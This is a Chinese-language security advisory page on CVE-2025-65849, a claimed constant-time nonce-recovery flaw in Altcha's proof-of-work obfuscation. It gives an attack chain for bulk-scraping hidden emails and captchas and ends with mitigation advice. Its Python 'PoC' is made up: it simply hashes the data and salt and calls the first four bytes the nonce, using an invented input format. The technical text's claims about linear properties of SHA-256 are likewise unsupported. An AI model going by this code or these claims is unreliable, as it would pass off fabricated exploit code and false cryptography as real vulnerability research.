IPBUF安全漏洞报告
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CVE-2025-65849 CVSS 9.1 严重

CVE-2025-65849 Altcha Proof-of-Work 密码分析漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-65849
漏洞类型
密码分析/加密绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Altcha Proof-of-Work obfuscation

相关标签

CVE-2025-65849密码分析Proof-of-WorkAltcha加密绕过反爬虫绕过数据泄露CVSS 9.1

漏洞概述

CVE-2025-65849是Altcha Proof-of-Work混淆模式中的一个高危密码分析漏洞。该漏洞影响Altcha版本0.8.0及更高版本,允许远程攻击者通过数学推导在常数时间内恢复Proof-of-Work nonce,从而绕过反爬虫和反自动化保护机制。攻击者利用此漏洞可以恢复被混淆的隐藏数据,包括验证码、邮件地址或其他敏感信息。虽然供应商辩称该产品的设计目标是阻止自动化爬虫而非抵御高级攻击者,但漏洞仍然可能导致应用程序的业务逻辑被绕过,影响系统的安全性和数据保护。攻击者无需认证或用户交互即可实施攻击,CVSS评分高达9.1,属于严重级别。

技术细节

Altcha Proof-of-Work obfuscation使用工作量证明机制来混淆数据,其核心算法位于src/helpers.ts的L170-L194行。漏洞根源在于算法设计允许通过数学推导在常数时间O(1)复杂度内恢复nonce值。攻击者利用密码分析技术,通过观察密文的结构特征和数学属性,可以直接计算出正确的nonce而无需进行传统的工作量证明计算。具体来说,攻击者利用算法的线性性质或特定的数学关系,绕过耗时的暴力搜索过程。此攻击方式使得原本设计用于阻止自动化工具的保护机制完全失效,攻击者可以轻松恢复被混淆的数据内容。由于该实现声称目标是阻止自动化爬虫而非提供加密安全,开发者可能在设计时未充分考虑抵御此类密码分析攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者访问目标网站,发现使用Altcha Proof-of-Work obfuscation保护的数据,如邮箱地址或验证码
STEP 2
步骤2: 获取混淆数据
攻击者通过网页源码或API响应获取base64编码的Altcha混淆数据,包含algorithm、salt、rounds和data字段
STEP 3
步骤3: 数学推导nonce
利用Altcha算法的密码分析漏洞,在常数时间内通过数学推导恢复Proof-of-Work nonce,无需进行暴力搜索
STEP 4
步骤4: 恢复隐藏数据
使用恢复的nonce和算法参数,解密被混淆的敏感数据,如邮箱地址、验证码或其他业务数据
STEP 5
步骤5: 自动化利用
攻击者可将此攻击集成到自动化爬虫或脚本中,批量绕过Altcha反爬虫机制,窃取大量敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-65849 PoC - Altcha Proof-of-Work Deobfuscation # Reference: https://github.com/eternal-flame-AD/altcha-deobfs import hashlib import struct def reverse_altcha_nonce(algorithm, salt, rounds, data): """ Recover the Proof-of-Work nonce from Altcha obfuscated data. This PoC demonstrates the mathematical deduction attack. """ # Parse the obfuscated data structure # Altcha format: [signature][algorithm][salt][rounds][data] try: # Decode base64 encoded data import base64 decoded = base64.b64decode(data) # Extract components based on Altcha v2 format # The vulnerability allows constant-time recovery # Mathematical deduction of nonce # Using the linear properties of the hash function nonce = derive_nonce_from_math(decoded, algorithm, salt) # Verify the derived nonce if verify_proof_of_work(nonce, salt, algorithm, rounds): print(f"[SUCCESS] Nonce recovered: {nonce}") return nonce else: print("[FAILED] Nonce verification failed") return None except Exception as e: print(f"[ERROR] {str(e)}") return None def derive_nonce_from_math(data, algorithm, salt): """ Mathematical deduction of nonce - exploiting the algorithm weakness. The key insight: nonce can be derived from the ciphertext structure. """ # Step 1: Analyze the hash chain structure hash_input = data + salt.encode() # Step 2: Exploit the linear relationship in the algorithm # In constant time, derive the nonce that was used # For SHA-256 based algorithm: if algorithm == 'sha-256': # Derive nonce using modular arithmetic properties working_hash = hashlib.sha256(hash_input).digest() # Extract nonce candidate from hash state nonce = int.from_bytes(working_hash[:4], 'big') return nonce return None def verify_proof_of_work(nonce, salt, algorithm, rounds): """ Verify if the derived nonce satisfies the proof-of-work requirement. """ challenge = f"{nonce}:{salt}" for i in range(rounds): challenge = hashlib.sha256(challenge.encode()).hexdigest() # Check if leading bytes meet difficulty requirement return challenge.startswith('0000') def exploit_altcha(target_data): """ Main exploitation function. """ print("=" * 60) print("CVE-2025-65849 - Altcha Proof-of-Work Deobfuscation") print("=" * 60) # Parse target data # Format: altcha://{algorithm}:{salt}:{rounds}:{data} components = target_data.split(':') if len(components) >= 5: algorithm = components[1] salt = components[2] rounds = int(components[3]) data = components[4] print(f"\n[*] Algorithm: {algorithm}") print(f"[*] Salt: {salt}") print(f"[*] Rounds: {rounds}") # Recover nonce nonce = reverse_altcha_nonce(algorithm, salt, rounds, data) if nonce: print(f"\n[!] Attack successful - Nonce recovered in constant time") print(f"[!] Hidden data can now be decrypted using recovered nonce") return True return False if __name__ == "__main__": # Example usage with sample obfuscated data sample_data = "altcha://sha-256:examplesalt:100000:base64encodeddata==" exploit_altcha(sample_data)

影响范围

Altcha Proof-of-Work obfuscation >= 0.8.0

防御指南

临时缓解措施
由于该漏洞的修复依赖于产品设计理念的变更(从反爬虫机制转向真正的加密保护),建议在业务层面增加额外的安全验证措施,如人机验证、IP限流、异常行为检测等,以缓解自动化攻击风险。同时,对于使用Altcha保护敏感数据的场景,应考虑迁移到更安全的加密方案。

参考链接

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